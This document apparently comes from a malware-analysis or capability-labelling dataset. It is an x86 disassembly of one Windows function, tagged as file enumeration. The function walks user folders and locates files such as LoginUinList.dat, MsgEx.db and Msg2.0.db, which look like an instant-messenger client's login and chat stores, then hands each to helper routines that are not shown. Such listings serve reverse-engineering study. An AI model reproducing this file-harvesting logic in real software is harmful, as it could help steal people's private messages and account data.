Function at 0x10016840
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002b130
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x358
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x364]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 0x10], esp
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x364]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
mov dword [ebp + 8], eax
rep movsb byte es:[edi], byte [esi]
mov edi, str.LoginUinList.dat
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 4], 0
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp + 8]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x18]
lea edx, [ebp - 0x364]
push ecx
push edx
call fcn.10016000
add esp, 0xc
test eax, eax
je 0x10016902
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x18]
push 0
push eax
push ecx
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x364]
push edx
push eax
push ecx
call fcn.10016090
add esp, 0x18
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x364]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x364]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [ebp - 0x260]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x364]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0x1c], eax
je 0x10016bcd
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
mov edi, dword [sym.imp.MSVCRT.dll__access]
test byte [ebp - 0x260], 0x10
je 0x10016baa
cmp byte [ebp - 0x234], 0x2e
je 0x10016baa
lea edx, [ebp - 0x234]
lea eax, [ebp - 0x364]
push edx
push ebx
push 0x10030690
push eax
call esi
add esp, 0x10
lea ecx, [ebp - 0x234]
lea edx, [ebp - 0x120]
push ecx
push ebx
push str._s_suser.db
push edx
call esi
lea eax, [ebp - 0x120]
push 0
push eax
call edi
add esp, 0x18
test eax, eax
jne 0x10016a1a
lea ecx, [ebp + 8]
lea edx, [ebp - 0x18]
push ecx
lea eax, [ebp - 0x120]
push edx
push eax
call fcn.10016000
add esp, 0xc
test eax, eax
je 0x10016a1a
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
push 0
push ecx
push edx
mov edx, dword [ebp + 0xc]
lea ecx, [ebp - 0x120]
push eax
push ecx
push edx
call fcn.10016090
add esp, 0x18
lea eax, [ebp - 0x234]
lea ecx, [ebp - 0x120]
push eax
push ebx
push str._s_sMsgEx.db
push ecx
call esi
lea edx, [ebp - 0x120]
push 0
push edx
call edi
add esp, 0x18
test eax, eax
jne 0x10016a7e
lea eax, [ebp + 8]
lea ecx, [ebp - 0x18]
push eax
lea edx, [ebp - 0x120]
push ecx
push edx
call fcn.10016000
add esp, 0xc
test eax, eax
je 0x10016a7e
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x18]
push 0
push eax
push ecx
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x120]
push edx
push eax
push ecx
call fcn.10016090
add esp, 0x18
lea edx, [ebp - 0x234]
lea eax, [ebp - 0x120]
push edx
push ebx
push str._s_sInfo.db
push eax
call esi
lea ecx, [ebp - 0x120]
push 0
push ecx
call edi
add esp, 0x18
test eax, eax
jne 0x10016ae2
lea edx, [ebp + 8]
lea eax, [ebp - 0x18]
push edx
lea ecx, [ebp - 0x120]
push eax
push ecx
call fcn.10016000
add esp, 0xc
test eax, eax
je 0x10016ae2
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x18]
push 0
push edx
push eax
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0x120]
push ecx
push edx
push eax
call fcn.10016090
add esp, 0x18
lea ecx, [ebp - 0x234]
lea edx, [ebp - 0x120]
push ecx
push ebx
push str._s_sMsg2.0.db
push edx
call esi
lea eax, [ebp - 0x120]
push 0
push eax
call edi
add esp, 0x18
test eax, eax
jne 0x10016b46
lea ecx, [ebp + 8]
lea edx, [ebp - 0x18]
push ecx
lea eax, [ebp - 0x120]
push edx
push eax
call fcn.10016000
add esp, 0xc
test eax, eax
je 0x10016b46
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
push 0
push ecx
push edx
mov edx, dword [ebp + 0xc]
lea ecx, [ebp - 0x120]
push eax
push ecx
push edx
call fcn.10016090
add esp, 0x18
lea eax, [ebp - 0x234]
lea ecx, [ebp - 0x120]
push eax
push ebx
push str._s_sMsg2.0.imw
push ecx
call esi
lea edx, [ebp - 0x120]
push 0
push edx
call edi
add esp, 0x18
test eax, eax
jne 0x10016baa
lea eax, [ebp + 8]
lea ecx, [ebp - 0x18]
push eax
lea edx, [ebp - 0x120]
push ecx
push edx
call fcn.10016000
add esp, 0xc
test eax, eax
je 0x10016baa
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x18]
push 0
push eax
push ecx
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x120]
push edx
push eax
push ecx
call fcn.10016090
add esp, 0x18
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x260]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x10016983
mov ecx, dword [ebp - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov eax, 1
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret